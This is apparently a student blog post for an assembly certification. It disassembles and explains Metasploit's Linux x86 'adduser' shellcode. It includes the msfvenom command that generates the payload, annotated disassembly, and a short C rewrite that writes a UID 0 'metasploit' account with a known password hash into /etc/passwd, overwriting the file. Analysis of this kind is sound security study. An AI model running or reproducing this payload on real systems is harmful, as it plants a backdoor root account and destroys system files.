This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
https://www.pentesteracademy.com/course?id=3
Student ID: PA-30398
I chose the following 4 shellcode samples:
Name | Description |
---|---|
linux/x86/adduser | Create a new user with UID 0 |
linux/x86/shell/reverse_nonx_tcp | Spawn a command shell (staged). Connect back to the attacker |
linux/x86/shell_find_tag | Spawn a shell on an established connection (proxy/nat safe) |
linux/x86/shell_reverse_tcp_ipv6 | Connect back to attacker and spawn a command shell over IPv6 |
In this post I'll analyze the shellcode linux/x86/adduser
.
To generate the payload:
msfvenom -p linux/x86/adduser -o shellcode.bin
To analyze it with ndisasm
:
ndisasm shellcode2.bin -b 32 -p intel
It returns the following output (comments are mine though):
; ECX = 0
xor ecx,ecx
; EBX = 0
mov ebx,ecx
; EAX = 70
push byte +0x46
pop eax
; call setreuid
int 0x80
setreuid(0, 0)
in order to execute subsequent instructions as **root**; EAX = 5
push byte +0x5
pop eax
; pushes 0x2f6574632f2f70617373776400000000 to the stack
; which is equal to "/etc//passwd"
xor ecx,ecx
push ecx
push dword 0x64777373
push dword 0x61702f2f
push dword 0x6374652f
; store reference to string into EBX
mov ebx,esp
; ECX = 0x401 (1025)
inc ecx
mov ch,0x4
; syscall open
int 0x80
open()
on /etc//passwd
with flags O_WRONLY
and O_NOCTTY
The file must already exist, otherwise the function won't be able to open it.
; exchanges the values of EAX and EBX
xchg eax,ebx
; jumps to 0x00000053
call 0x53
EAX
with EBX
, the shellcode jumps to 0x00000053
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
0x0000002B
to 0x00000052
represent a string. In fact, the last byte is 0x0a
is a newline (\n
) on Linux systems00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
I won't cover the bytes from 0x00000052
to 0x0000005f
as they aren't correct. In this case, ndisasm
thinks that the byte at 0x00000052
is the opcode for the OR
instructions, however it's simply a newline.
I had to adjust it manually:
echo -n '598b51fc6a0458cd806a0158cd80' | xxd -r -p > shellcode2.bin
ndisasm shellcode2.bin -b 32 -p intel
Follows the output of ndisasm
:
; store the reference to the string into ECX
pop ecx
; copy the byte stored at ECX-4 into EDX
mov edx,[ecx-0x4]
; call the write syscall
push byte +0x4
pop eax
int 0x80
EDX
stores the length of the string, so it should be 0x28
(40 chars). The value is the fourth-to-last byte of the instruction stored at the address 0x00000026
(E828000000
)After the shellcode retrieves the size of the string to be written, it uses the write()
syscall to write into the previously opened file, which is overwritten.
; call the exit syscall
push byte +0x1
pop eax
int 0x80
These last two pieces of shellcode simply write the new string inside the previously-opened file: /etc//passwd
.
The line is the following:
echo "6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A" | xxd -r -p
# metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
The format is the following:
USERNAME:HASHED_PASSWORD:UID:GUID:GECOS_INFO:HOME_DIRECTORY:SHELL
The password in encrypted with DES
, which is a weak encryption scheme. The first two characters (Az
) are the salt, while the other eleven characters are the hash value.
According to the documentation of the module, the password should be metasploit
.
Once the line is written, a new user with UID 0
and GUID 0
(hence identical to root
), will be added to the machine.
Since the shellcode it's small, I tried to convert the assembly instructions into a C program, in order to make it easier to understand what's going on:
#include <unistd.h>
#include <fcntl.h>
int main(int argc, char *argv[])
{
setreuid(0, 0);
int fd = open("/etc//passwd", O_WRONLY | O_NOCTTY);
write(fd, "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\n", 40);
}
A brief summary:
setreuid()
to set "real and effective user IDs of the calling process" (the difference arises when impersonating other users)open()
to open the file /etc//passwd
(which must already exist) in write mode, so it overwrites all of the contentswrite()
to write 40 bytes (the string shown above) inside the file